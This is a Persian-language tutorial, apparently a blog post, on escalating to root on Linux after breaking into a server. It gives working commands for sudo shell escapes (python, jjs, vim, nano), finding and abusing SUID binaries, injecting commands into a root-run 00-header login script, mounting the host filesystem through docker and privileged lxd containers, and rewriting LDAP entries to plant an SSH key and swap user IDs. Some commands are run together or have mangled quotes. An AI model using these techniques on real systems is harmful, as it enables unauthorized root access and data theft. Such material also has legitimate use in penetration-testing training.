روش های ارتقاء دسترسی در لینوکس - قسمت ۱

یکی از مهم ترین کارها بعد از نفوذ به سرور و در اختیار گرفتن دسترسی کاربر عادی، ارتقاء دسترسی و یا مجوز دسترسی به اطلاعات سایر کاربران است.ما در لینوکس روش های مختلف و خلاقانه ای داریم که در چند پست قسمت خیلی کوچکی از این روش ها را بررسی می کنیم.در این آموزش ها ما سه روش تغییر دسترسی در لینوکس را بررسی می کنیم.در روش اول به صورت کلی برای تغییر دسترسی ما تلاش می کنیم فایلی را که دارای مجوز مشخص است را پیدا(A) و فایل های دیگر را که با فایل دارای مجوز درارتباط هستند را به نحوی تغییر دهیم(B) که در هنگام اجرا توسط فایل دارای مجوز دسترسی ما ارتقا پیدا کند.A(B)از نمونه های این روش می توان استفاده از sudoer و suid و docker اشاره نمود.در روش دوم با استفاده از مفاهیم سیستم عامل و کتابخانه های مورد استفاده برنامه های سعی می کنیم دسترسی خود را تغییر دهیم.از نمونه های این روش می توان به استفاده از rope و heap و stack اشاره نمود.در روش سوم هم با استفاده از قابلیت های کرنل و برنامه های مرتبط با آن و آسیب پذیری های شناخته شده آن سعی می کنیم دسترسی خود را ارتقا ببخشیم.از نمونه های این روش هم می توان به آسیب پذیری sudo با کد CVE-2019-14287 و یا آسیب پذیری در systemctl با کد CVE-2018-19788 اشاره نمود.تعیین نادرست sudoerهمانطور که می دانیم کاربرانی که حق اجرای دستور sudo دارند sudoer نامیده و حق اجرای موارد مشخص شده در فایل /etc/sudoers را با دسترسی مدیر سیستم دارند.برای بررسی این فایل می توانیم از دستور sudo -l استفاده کنیم.برای مثال فرض کنید حق اجرای python در فایل sudoers به صورت زیر برای کاربر demo در نظر گرفته شده است.demo All=(ALL) NOPASSWD: /usr/bin/pythonخب مشخصا کاربر demo می تواند به این شکل در python دسترسی خود را به root ارتقاء و دستورات را با دسترسی root اجرا کنید.python -c 'import os;os.system(&quotid&quot)'نمونه ای دیگر در زبان java به این شکل خواهد بود.در صورت اجرا فایل jjs در مسیر /usr/lib/jvm/java-11-openjdk-amd64/bin/Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc $@|sh${IFS}-p _ echo sh -p /dev/pts/0 2>/dev/pts/0').waitFor()در مثالی دیگر فرض کنید ویرایشگر های vim و nano قابلیت اجرا تحت sudo را دارند.برای ارتقاء دسترسی در vim به شکل زیر عمل می کنیم.:set shell=/bin/sh:shellهمچنین برای ارتقاء دسترسی در nano هم به شکل زیر عمل می کنیم.^R^Xreset; sh 1>&0 2>&0تعیین نادرست SUIDدر لینوکس ما قابلیت تنظیم مجوز برای فایلی مشخص را برای اجرای تحت کاربر خاص داریم.این تنظیم مجوز با suid انجام می شود.برای مثال اگر suid فایلی ۴۰۰۰ باشد ما می توانیم به واسطه آن فایل دسترسی خود را تغییر دهیم.برای پیدا نمودن فایل های با مجوز ۴۰۰۰ از دستور زیر استفاده می کنیم.find / -uid 0 -perm -4000 -type f 2>/dev/nullبعد از پیدا نمودن فایل دارای مجوز، فایل اجرایی را توسط کاربر اجرا و از مجوز های آن به نحو احسنت استفاده می کنم.برای مثال فرض کنید journalctl دارای suid است.کافی است است بعد از اجرا، شل را فراخوانی کنیم.!/bin/shدر روش دیگر فایلی وجود دارد که سیستمی است ولی قابل نوشتن یا writable است.برای پیدا نمودن فایل های writable از دستور زیر استفاده می کنیم.find / -writable ! -user whoami -type f ! -path “/proc/” ! -path “/sys/” -exec ls -al {} \; 2>/dev/nullحال فرض کنید فایل header-00 قابلیت نوشتن دارد.فایل 00-header هنگام ورود با ssh اجرا و banner مشخص شده را نمایش می دهدبرای مثال برای خوش آمد گوشیی که کاربر می تواند مورد استفاده قرار بگیرد.این فایل به صورت پیش فرض تحت root اجرا و برای کاربران قابل شخصی سازی است. برای ارتقاء دسترسی توسط این فایل می توانیم passwd را بخوانیم.echo &quotcat /root/root.txt&quot >> 00-headerبنابر این بعد از ورود به سیستم توسط کاربر در اختیار گرفته شده فایل محتوای 00-header چاپ و فایل passwd خوانده می شود.افزایش دسترسی در dockerاگر سرویس docker توسط کاربر بدون احراز هویت قابل اجرا و یا کاربر عضو گروه docker و توانایی راه اندازی سرویس را داشته باشد ما می توانیم container را از root در mnt به صورت زیر اصطلاح mount کنیم.docker run -v /root:/mnt -it ubuntuهمچنین می توانیم از دستور زیر هم استفاده کنیم.docker run --rm -it --privileged nginx bash mkdir /mnt/fsroot mount /dev/sda /mnt/fsrootافزایش دسترسی با lxdابتدا با استفاده از دستورات زیر نسخه از lxd به اصطلاح build می کنیم.git clone https://github.com/saghul/lxd-alpine-builder.git ./build-alpineسپس در سیستم هدف image را دریافت و سپس دستورات زیر را به ترتیب اجرا می کنیم.import ./alpine-v3.12-x86_64-20200621_2005.tar.gz --alias attackerlxc init attacker tester -c security.privileged=truelxc exec tester/bin/shافزایش دسترسی با ldap ابتدا باید ssh را با استفاده از ldap فعال کنیم برای اینکار ابتدا دستور زیر را اجراldapmodify -x -w PASSWORDسپس محتوای زیر را با توجه به مشخصات سرور در آن قرار دهید.dn: cn=openssh-lpk,cn=schema,cn=config objectClass: olcSchemaConfig cn: openssh-lpk olcAttributeTypes: ( 1.3.6.1.4.1.24552.500.1.1.1.13 NAME 'sshPublicKey' DESC 'MANDATORY: OpenSSH Public key' EQUALITY octetStringMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.40 ) olcObjectClasses: ( 1.3.6.1.4.1.24552.500.1.1.2.0 NAME 'ldapPublicKey' SUP top AUXILIARY DESC 'MANDATORY: OpenSSH LPK objectclass' MAY ( sshPublicKey $ uid ) )بعد از فعال سازی ssh حال برای ارتقا دسترسی دستور زیر را اجراldapmodify -x -w PASSWORDو سپس محتوای زیر را با توجه به مشخصات کاربر و گروه کاربر هدف و کلید id_rsa خود، تغییر و قرار می دهیم.dn: uid=UID,ou=users,ou=linux,ou=servers,dc=DC,dc=DC changeType: modify add: objectClass objectClass: ldapPublicKey - add: sshPublicKey sshPublicKey: content of id_rsa.pub - replace: EVIL GROUP ID uidNumber: CURRENT USER ID - replace: EVIL USER ID gidNumber: CURRENT GROUP ID